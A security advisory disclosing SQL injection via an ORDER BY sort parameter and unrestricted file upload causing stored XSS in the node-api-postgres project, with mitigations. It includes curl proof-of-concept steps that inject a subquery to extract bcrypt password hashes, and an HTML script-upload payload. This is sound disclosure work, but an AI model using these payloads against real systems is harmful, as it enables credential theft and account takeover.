# Security Advisory: Multiple Critical Vulnerabilities in node-api-postgres

## Document Information
* **Target:** `node-api-postgres` by Jawher Kl
* **Affected Version:** [Insert Version / Commit Hash]
* **Researchers / Authors:** * Po-Cheng Chen (GitHub: [@ericchen913900](https://github.com/ericchen913900))
* Chia-Jui Kuo (GitHub: [@itousouta15](https://github.com/itousouta15))
* **Status:** Under 90-day Embargo

---

## Executive Summary
During a comprehensive security code review of the `node-api-postgres` repository, multiple critical security vulnerabilities were discovered. The most severe findings include **SQL Injection (CWE-89)** and **Unrestricted File Upload (CWE-434)**. If successfully exploited, these vulnerabilities allow unauthenticated attackers to achieve complete database compromise, arbitrary data exfiltration, and potential server takeover.

---

## Vulnerability 1: SQL Injection via ORDER BY Clause

* **Severity:** Critical (CVSS 3.1: 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
* **CWE:** CWE-89 (Improper Neutralization of Special Elements in SQL Command)
* **Affected Component:** `models/user.js` → `User.getAll()`
* **Endpoint:** `GET /users`

### Advisory / Description
The `sort` parameter is concatenated directly into the SQL query without adequate sanitization or parameterized execution. Because `ORDER BY` clauses cannot be parameterized in PostgreSQL, this direct string concatenation introduces a critical SQL Injection vulnerability.

**Observed Impact:**
The API response exposes email, password (bcrypt hash), role, and `created_at` for all users including the admin. An attacker can chain this with offline bcrypt cracking to achieve full administrative account takeover.

### Exploit / Proof of Concept (PoC)
The following sequence demonstrates full exploitation to exfiltrate database records.

**Step 1: Register an attacker account (No authentication required)**

EMAIL="attacker_$[e-mail]"

curl -s -X POST http://localhost:3000/register \
  -H "Content-Type: application/json" \
  -d "{\"name\":\"Attacker\",\"email\":\"$EMAIL\",\"password\":\"Password2026\"}"

**Step 2: Obtain a valid JWT token**

TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d "{\"email\":\"$EMAIL\",\"password\":\"Password2026\"}" \
  | grep -o '"token":"[^"]*"' | cut -d'"' -f4)

**Step 3: Full data exfiltration via subquery**
Injecting a subquery into the `sort` parameter to extract the first password hash:

curl -s "http://localhost:3000/users?sort=(SELECT%20password%20FROM%20users%20LIMIT%201)" \
  -H "Authorization: Bearer $TOKEN"

**Result:** The API successfully returns all user records including bcrypt password hashes and emails for all users, including the administrator account.

### Recommended Mitigation

Implement a strict allowlist for the `sort` parameter:

const ALLOWED_SORT_FIELDS = ['id', 'name', 'email', 'created_at'];
const sortField = ALLOWED_SORT_FIELDS.includes(sort) ? sort : 'id';
query += ` ORDER BY ${sortField} ASC`;

---

## Vulnerability 2: Unrestricted File Upload Bypassing Validation

* **Severity:** Critical (CVSS 3.1: 9.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
* **CWE:** CWE-434 (Unrestricted Upload of File with Dangerous Type)
* **Affected Component:** `index.js` → `POST /users/:id/profile-picture`

### Advisory / Description

The endpoint utilizes a locally instantiated `multer` configuration that completely omits the `fileFilter` and size limitations enforced elsewhere in the application (e.g., `middleware/upload.js`). Furthermore, it preserves the original file extension via `path.extname(file.originalname)` and serves uploaded content statically via the `/uploads` directory.

**Observed Impact:**
Attackers can upload arbitrary file types (such as `.html` or malicious scripts). By navigating to the statically served `/uploads` directory, this leads directly to Stored Cross-Site Scripting (XSS) or Remote Code Execution (RCE) depending on the environment.

### Exploit / Proof of Concept (PoC)

The following steps demonstrate uploading a malicious HTML payload to trigger Stored XSS.

**Step 1: Create a malicious payload**
Create a file named `malicious_payload.html` containing:

<script>alert('XSS executed by Attacker!');</script>

**Step 2: Upload the payload, overriding MIME type**

curl -X POST http://localhost:3000/users/1/profile-picture \
  -F 'profilePicture=@malicious_payload.html;type=text/html'

**Step 3: Trigger the execution**
Navigate to the uploaded file via the browser:

http://localhost:3000/uploads/<timestamp>.html

**Result:** The browser renders the HTML and executes the embedded JavaScript.

### Recommended Mitigation

Replace the inline `multer` instance in `index.js` with the validated middleware from `middleware/upload.js`. Ensure a strict MIME type whitelist and maximum file size limits are enforced on all file upload endpoints.